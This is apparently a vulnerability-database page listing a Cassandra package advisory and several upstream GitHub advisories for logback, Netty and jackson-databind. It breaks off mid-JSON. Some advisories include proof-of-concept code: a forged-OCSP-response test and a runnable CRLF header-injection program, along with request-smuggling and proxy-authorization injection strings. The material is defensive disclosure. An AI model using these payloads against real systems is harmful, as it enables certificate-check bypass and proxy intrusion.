Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-08-13 12:10
Modified
2026-08-14 05:56
Summary
Security fixes in cassandra 5.0.8-r1
Details
Package cassandra version 5.0.8-r1 fixes 42 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5jmj-h7xm-6q6v, ghsa-3pjw-73gf-8qr5, ghsa-hgj6-7826-r7m5...
References
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.8-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.0.8-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package cassandra version 5.0.8-r1 fixes 42 vulnerabilities: ghsa-j3rv-43j4-c7qm, ghsa-rmj7-2vxq-3g9f, ghsa-5jmj-h7xm-6q6v, ghsa-3pjw-73gf-8qr5, ghsa-hgj6-7826-r7m5...",
"id": "CLEANSTART-2026-NA65977",
"modified": "2026-08-14T05:56:56Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apache/cassandra"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in cassandra 5.0.8-r1",
"upstream": [
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-w573-9ffj-6ff9",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-558v-64gr-wgg4",
"ghsa-45q3-82m4-75jr",
"ghsa-272m-gcwp-mpwg",
"ghsa-g7hg-vrcf-mvmr",
"ghsa-wc96-39fc-566f",
"ghsa-jhq6-gfmj-v8fx",
"ghsa-25qh-j22f-pwp8",
"ghsa-p47f-322f-whfh",
"ghsa-qqpg-mvqg-649v",
"CVE-2025-11226",
"CVE-2026-10532",
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"ghsa-xx22-p4ch-683r",
"CVE-2026-59949",
"CVE-2026-9828",
"CVE-2026-1225",
"CVE-2026-54513",
"CVE-2026-54512",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-59901",
"CVE-2026-42583",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-42578",
"CVE-2026-56820",
"CVE-2026-56821",
"CVE-2026-56822",
"CVE-2026-45536"
]
}
GHSA-25QH-J22F-PWP8
Vulnerability from github – Published: 2025-10-01 09:30 – Updated: 2025-10-31 20:17
VLAI
Summary
QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing
Details
QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.
A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.5.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ch.qos.logback:logback-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11226"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-21T21:10:11Z",
"nvd_published_at": "2025-10-01T08:15:31Z",
"severity": "MODERATE"
},
"details": "QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.\n\nA successful attack requires the Janino library and Spring Framework to be present on the user\u0027s class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.",
"id": "GHSA-25qh-j22f-pwp8",
"modified": "2025-10-31T20:17:45Z",
"published": "2025-10-01T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11226"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/issues/974"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/commit/61f6a2544f36b3016e0efd434ee21f19269f1df7"
},
{
"type": "PACKAGE",
"url": "https://github.com/qos-ch/logback"
},
{
"type": "WEB",
"url": "https://github.com/qos-ch/logback/releases/tag/v_1.5.19"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.3.16"
},
{
"type": "WEB",
"url": "https://logback.qos.ch/news.html#1.5.19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing"
}
GHSA-272M-GCWP-MPWG
Vulnerability from github – Published: 2026-07-22 21:43 – Updated: 2026-07-22 21:43
VLAI
Summary
Netty: Missing CertificateID Validation in OCSP Response Allows Replay Attacks
Details
Summary
Netty's OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID. A bad actor can replay a GOOD status response issued for an unrelated certificate (by the same CA) to bypass revocation checks for any certificate.
Details
io.netty.handler.ssl.ocsp.OcspClient#validateResponse fails to assert that the CertificateID within the returned BasicOCSPResp matches the original certificate being validated.
When OcspClient.query(...) executes, it builds an OCSP request using the victim certificate's serial number and issuer hash. It then sends this request and receives a response. While the client verifies the signature of the response against the trusted issuer (or a valid responder chain), it never checks the CertificateID inside the response payload.
A bad actor who has access to any other valid, non-revoked certificate issued by the same CA can obtain a legitimately signed OCSP response indicating that the unrelated certificate is GOOD. The bad actor can then return this valid response to the Netty client when it queries the status of any other certificate (e.g., a revoked certificate) issued by the same CA. Because the signature is valid (signed by the CA) and the CertificateID is ignored, the client will incorrectly accept the target certificate as valid.
As per https://datatracker.ietf.org/doc/html/rfc6960#section-3.2 we have:
Prior to accepting a signed response for a particular certificate as
valid, OCSP clients SHALL confirm that:
1. The certificate identified in a received response corresponds to
the certificate that was identified in the corresponding request;
PoC
The following test case in io.netty.handler.ssl.ocsp.OcspClientTest demonstrates how the implementation accepts a forged OCSP response for a completely unrelated certificate, proving the bypass.
@Test
void testCertIdBypass() throws Exception {
X509Bundle caRoot = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TrustedRootCA")
.setIsCertificateAuthority(true)
.buildSelfSigned();
GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
X509Bundle targetCert = new CertificateBuilder()
.algorithm(CertificateBuilder.Algorithm.rsa2048)
.subject("CN=TargetServer")
.addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
.buildIssuedBy(caRoot);
X509CertificateHolder caHolder = new JcaX509CertificateHolder(caRoot.getCertificate());
BasicOCSPResp forgedBasicResp = createBasicOcspResponse(caRoot, new X509CertificateHolder[]{caHolder});
OCSPResp forgedResponse = new OCSPRespBuilder().build(OCSPRespBuilder.SUCCESSFUL, forgedBasicResp);
byte[] forgedResponseEncoded = forgedResponse.getEncoded();
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
IoTransport transport = IoTransport.create(group.next(), () -> {
NioSocketChannel channel = new NioSocketChannel();
channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
@Override
public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
promise.setSuccess();
ctx.executor().execute(() -> {
ctx.pipeline().fireChannelActive();
DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(forgedResponseEncoded));
httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());
ctx.pipeline().fireChannelRead(httpResponse);
});
}
});
return channel;
}, NioDatagramChannel::new);
DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(transport);
Promise<BasicOCSPResp> promise = OcspClient.query(targetCert.getCertificate(), caRoot.getCertificate(), false, transport, resolver);
promise.await();
assertFalse(promise.isSuccess(),
"Netty incorrectly accepted the response for the unrelated certificate. The CertificateID was ignored!");
} finally {
group.shutdownGracefully();
}
}
Impact
Certificate Validation Bypass. Any application using Netty's OcspClient to check certificate revocation status is impacted.
Severity
7.4 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-ssl-ocsp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-ssl-ocsp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56820"
],
"database_specific": {
"cwe_ids": [
"CWE-295"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:43:31Z",
"nvd_published_at": "2026-07-21T23:17:52Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s OcspClient does not validate that the CertificateID in an OCSP response matches the requested CertificateID. A bad actor can replay a `GOOD` status response issued for an unrelated certificate (by the same CA) to bypass revocation checks for any certificate.\n\n### Details\n`io.netty.handler.ssl.ocsp.OcspClient#validateResponse` fails to assert that the CertificateID within the returned `BasicOCSPResp` matches the original certificate being validated.\n\nWhen `OcspClient.query(...)` executes, it builds an OCSP request using the victim certificate\u0027s serial number and issuer hash. It then sends this request and receives a response. While the client verifies the signature of the response against the trusted issuer (or a valid responder chain), it never checks the CertificateID inside the response payload.\n\nA bad actor who has access to any other valid, non-revoked certificate issued by the same CA can obtain a legitimately signed OCSP response indicating that the unrelated certificate is `GOOD`. The bad actor can then return this valid response to the Netty client when it queries the status of any other certificate (e.g., a revoked certificate) issued by the same CA. Because the signature is valid (signed by the CA) and the CertificateID is ignored, the client will incorrectly accept the target certificate as valid.\n\nAs per https://datatracker.ietf.org/doc/html/rfc6960#section-3.2 we have:\n\n```\nPrior to accepting a signed response for a particular certificate as\n valid, OCSP clients SHALL confirm that:\n\n 1. The certificate identified in a received response corresponds to\n the certificate that was identified in the corresponding request;\n```\n\n### PoC\nThe following test case in `io.netty.handler.ssl.ocsp.OcspClientTest` demonstrates how the implementation accepts a forged OCSP response for a completely unrelated certificate, proving the bypass.\n\n```java\n @Test\n void testCertIdBypass() throws Exception {\n X509Bundle caRoot = new CertificateBuilder()\n .algorithm(CertificateBuilder.Algorithm.rsa2048)\n .subject(\"CN=TrustedRootCA\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, \"http://localhost/\");\n AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));\n X509Bundle targetCert = new CertificateBuilder()\n .algorithm(CertificateBuilder.Algorithm.rsa2048)\n .subject(\"CN=TargetServer\")\n .addExtensionOctetString(\"1.3.6.1.5.5.7.1.1\", false, aia.getEncoded())\n .buildIssuedBy(caRoot);\n\n X509CertificateHolder caHolder = new JcaX509CertificateHolder(caRoot.getCertificate());\n BasicOCSPResp forgedBasicResp = createBasicOcspResponse(caRoot, new X509CertificateHolder[]{caHolder});\n OCSPResp forgedResponse = new OCSPRespBuilder().build(OCSPRespBuilder.SUCCESSFUL, forgedBasicResp);\n byte[] forgedResponseEncoded = forgedResponse.getEncoded();\n\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n IoTransport transport = IoTransport.create(group.next(), () -\u003e {\n NioSocketChannel channel = new NioSocketChannel();\n channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {\n @Override\n public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {\n promise.setSuccess();\n\n ctx.executor().execute(() -\u003e {\n ctx.pipeline().fireChannelActive();\n\n DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(\n HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(forgedResponseEncoded));\n httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, \"application/ocsp-response\");\n httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());\n\n ctx.pipeline().fireChannelRead(httpResponse);\n });\n }\n });\n return channel;\n }, NioDatagramChannel::new);\n\n DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(transport);\n Promise\u003cBasicOCSPResp\u003e promise = OcspClient.query(targetCert.getCertificate(), caRoot.getCertificate(), false, transport, resolver);\n\n promise.await();\n\n assertFalse(promise.isSuccess(),\n \"Netty incorrectly accepted the response for the unrelated certificate. The CertificateID was ignored!\");\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nCertificate Validation Bypass. Any application using Netty\u0027s OcspClient to check certificate revocation status is impacted.",
"id": "GHSA-272m-gcwp-mpwg",
"modified": "2026-07-22T21:43:31Z",
"published": "2026-07-22T21:43:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-272m-gcwp-mpwg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56820"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Missing CertificateID Validation in OCSP Response Allows Replay Attacks"
}
GHSA-3PJW-73GF-8QR5
Vulnerability from github – Published: 2026-07-21 19:33 – Updated: 2026-07-21 19:33
VLAI
Summary
jackson-databind: @JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy
Details
Summary
For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.
Impact
A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).
Affected / Patched (verified via git tag --contains)
- 2.15-2.18 line:
>= 2.15.0, < 2.18.8-> fixed in 2.18.8 (backportc7c6783) - 2.19-2.21 line:
>= 2.19.0, < 2.21.4-> fixed in 2.21.4 - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4 (#5974,baa2cdf)
Severity / CWE
Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
Severity
6.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.15.0"
},
{
"fixed": "2.18.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59888"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:33:06Z",
"nvd_published_at": "2026-07-14T17:17:15Z",
"severity": "MODERATE"
},
"details": "## Summary\nFor Java Records, `POJOPropertiesCollector._removeUnwantedIgnorals()` records a `@JsonIgnore`-annotated component under its original implicit name before `_renameUsing()` applies the `PropertyNamingStrategy`. After the rename, `_ignoredPropertyNames` still holds only the pre-rename name, so `_ignorableProps` is built from the stale key. The renamed JSON key passes `IgnorePropertiesUtil.shouldIgnore()` and is assigned to the Record\u0027s constructor parameter, defeating the `@JsonIgnore`.\n\n## Impact\nA Record using a naming strategy that relies on `@JsonIgnore` to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.15-2.18 line: `\u003e= 2.15.0, \u003c 2.18.8` -\u003e fixed in **2.18.8** (backport `c7c6783`)\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5974, `baa2cdf`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-3pjw-73gf-8qr5",
"modified": "2026-07-21T19:33:06Z",
"published": "2026-07-21T19:33:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-3pjw-73gf-8qr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59888"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5974"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/baa2cdf5ca2b2717fbb88d91955d69d8651df3e4"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c7c678360624da5bc7eed2152789fa522880db9d"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: @JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy"
}
GHSA-3QP7-7MW8-WX86
Vulnerability from github – Published: 2026-06-08 19:00 – Updated: 2026-06-12 19:27
VLAI
Summary
Netty has an IPv6 Subnet Filter Bypass via Incorrect Comparator Masking
Details
Summary
An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.
Details
io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress) method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.
Impact
Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.
Severity
8.1 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44249"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T19:00:33Z",
"nvd_published_at": "2026-06-11T22:16:56Z",
"severity": "HIGH"
},
"details": "### Summary\nAn attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions.\n\n### Details\n`io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask.\n\n### Impact\nAccess Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.",
"id": "GHSA-3qp7-7mw8-wx86",
"modified": "2026-06-12T19:27:07Z",
"published": "2026-06-08T19:00:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-3qp7-7mw8-wx86"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44249"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty has an IPv6 Subnet Filter Bypass via Incorrect Comparator Masking"
}
GHSA-45Q3-82M4-75JR
Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)
Details
Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions) |
| Component | io.netty.handler.proxy.HttpProxyHandler |
| Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |
| Impact | HTTP Header Injection in CONNECT Proxy Requests |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |
2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:
CONNECT target.com:443 HTTP/1.1\r
host: target.com:443\r
X-Forwarded-For: 1.2.3.4\r
X-Forwarded-For: 127.0.0.1\r <-- INJECTED
X-Admin: true\r <-- INJECTED
\r
Injected X-Admin header in wire: true
VULNERABLE: YES
[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}
8. Resources
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler-proxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
